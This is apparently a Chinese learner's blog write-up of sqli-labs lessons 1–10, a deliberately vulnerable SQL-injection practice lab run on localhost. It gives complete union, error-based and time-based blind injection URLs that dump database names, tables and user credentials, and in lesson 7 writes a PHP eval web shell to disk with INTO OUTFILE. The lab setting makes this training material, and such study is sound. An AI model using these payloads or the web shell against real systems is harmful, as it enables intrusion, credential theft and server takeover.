sqli-labs(1-10)

几个常用的函数

1.version()  -- Mysql版本

2.user()  --数据库用户名

3.database()  --数据库名

4.@@datadir  --数据库安装路径

5.@@version_compile_os  --操作系统的版本

常用的语句():

1.查询数据库的信息:select schema_name from information_schema.schemata

2.查询表的信息:select table_name from information_schema.tables where table_schema='securty(表名)'

3.查询列的信息:select column_name from informaion_schema.columns where table_name='表名'

4.查询字段:select username,password from security.users

字符串连接函数:

1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

2.concat(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字

注意:能使用union联合查询注入的,一般都可以报错注入和盲注。能使用报错注入的,一般都能使用盲注。

less1

1、先判断注入类型

 (1)首先看到要求,要求传一个ID参数,并且要求是数字型的。?id=1

 (2)输入?id=1'

 发现报错

(3)输入?id=1"

 单引号报错,双引号正常,判断是字符型注入

2、对列数进行判断

(1)输入?id=1' order by 2--+

 (2)输入?id=1' order by 3--+

显示正常 

(3)输入?id=1' order by 4--+

 报错,所以判断有3列

3、查看显示位,判断手工注入位置

(1)输入?id=-1' union select 1,2,3--+(使用union参数进行联合查询注入,union前面的参数报错才能执行union后面的数据,因此将id=1改为id=-1)

2,3为显示位,此时可在2、3位置进行手工注入 

(2)查询所有数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(sma_name),3 from information_schema.schemata--+

 (3)查看当前数据库名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3--+

 (4)爆表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 (5)爆列名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

 (6)爆数据

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

 less-2

先判断注入类型

(1)输入?id=1'

 

 报错

(2)输入?id=1"

 

 报错

(3)输入?id=1 and 1=1

 

 正常显示

(4)输入?id=1 and 1=2

 

 报错,综合判断是数字注入

后面的过程就和前面一样了。

less3

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) ...,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,不再赘述。

less-4

输入单引号,页面无任何变化,

输入双引号,页面报错,

根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,

猜想一下:select ... from ... where id=(”1”) ...,把第一题中1后面的引号换成双引号加)就可以了。不再赘述。

less-5

1、判断注入类型

(1)输入?id=1'

 

 正常显示

(2)输入?id=1"

 

 正常显示

(3)输入?id=1'--+

 

 显示正常

综上可以判断id为字符型注入

2、因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。

常用的报错语句模板:

  (1)通过floor报错

    ①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

    ②其中payload为你要插入的SQL语句

    ③需要注意的是该语句将 输出长度限制在64个字符

  (2)通过updatexml报错

    ①and updatexml(1,payload,1)

    ②同样盖语句对输出的字符长度也做了限制,其最长输出32位

    ③并且该语句对payload的返回类型也做了 限制

   (3)通过extractvalue 报错

    ①and extractvalue(1,payload)

    ②输出字符有长度限制,最长32位

updatexml报错注入

(1)爆本数据库名

http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

 

 

 (2)因为报错注入只能显示一行,所以要用limit进行逐个显示

http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

 

 (3)爆表名

http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

 

 (4)爆列名

http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1),0x7e),1)--+

 

 (5)爆数据

http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+

 

 less_6

和less-5一样只是改了闭合方式,less-6是双引号闭合

 

less-7

判断注入类型

(1)输入?id=1 and 1=1

 

 正常显示

(2)输入?id=1 and 1=2

 

 因为(1)和(2)没有变化,所以不是数字型

(3)输入?id=1'

 

 报错

(4)输入?id=1"

 

 

 显示正常,由(3)和(4)得知为字符型注入,接下来判断闭合条件

(5)输入?id=1'--+

 

 报错

(6)输入?id=1')--+

 

 报错

(7)输入?id=1'))--+

 

 显示正常,所以参数是:id=(('1'))

2、本关没有输出错误信息,页面正常时,提示use outfile,所以我们使用文件导出

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就.../var/www/htm,.../var/www/html/htdocs

phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是...\xampp\htdocs
@@basedir  数据库存储路径

@@datadir  数据库安装路径

(1)找到数据库的存储路径,数据库的安装路径,输入:?id=1')) union select 1,@@basedir,@@datadir --+

 

 尝试发现没有,被过滤了。

在Less(2)中尝试,输入:?id=-1 union select 1,@@basedir,@@datadir --+

(3)因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下

       ①首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值

 

 ②因为是NULL,打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=“/”。

 

③重启PHP study,然后发现已经发现发生了改变,说明修改成功,就可以进行读写了

 

 (4)用到的两个函数:load_file()  读取本地文件  into outfile 写文件    可以百度函数用法,提示路径需要用双斜线

http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["passwd"]);?>' into outfile "D:\\phpStudy\\WWW\\sqli-labs\\Less-7\\shell.php"--+ 

 

 

 然后用蚁剑连接

 

 成功获得shell。

less-8

 和less-7一样,只是闭合方式变了。本关的闭合方式为参数id='1'

less-9

不管怎么输入,回显都是一样的,所以考虑盲注

1、先判断注入类型

(1)输入?id=1 and sleep(10)--+

 

 没有明显延迟

(2)输入?id=1 and 1=2 and sleep(10)--+

 

 没有明显延迟,从(1)(2)可以看出不是数字注入

(3)输入?id=1' and sleep(10)--+

 

 有明显的延迟,所以参数id='1'

2、注入

(1)爆数据库的长度:?id=1' and if (length(database())=x ,sleep(5),1)--+  x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;

 

 (2)爆库  

注当前的数据库名:可以用<,>,=比较,对字符进行范围的判断,然后用二分法不断缩小范围

  通过不断的比较可以得出第一个字符是=s

 

然后爆依次爆下个字符,最后得到数据库的名称是=‘security’ 

(3)爆表

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema='security' limit 3,1),5)='users',sleep(10),1)--+

 

 

通过limit x,1 中x的变化,我们找到了users表 

(4)爆列

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1)='i',sleep(10),1)--+

 

 

 (5)爆数据

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select username from users limit 0,1),4)='Dumb',sleep(10),1)--+

 

posted @ 2021-10-01 12:03  学安全的小白  阅读(239)  评论(0编辑  收藏  举报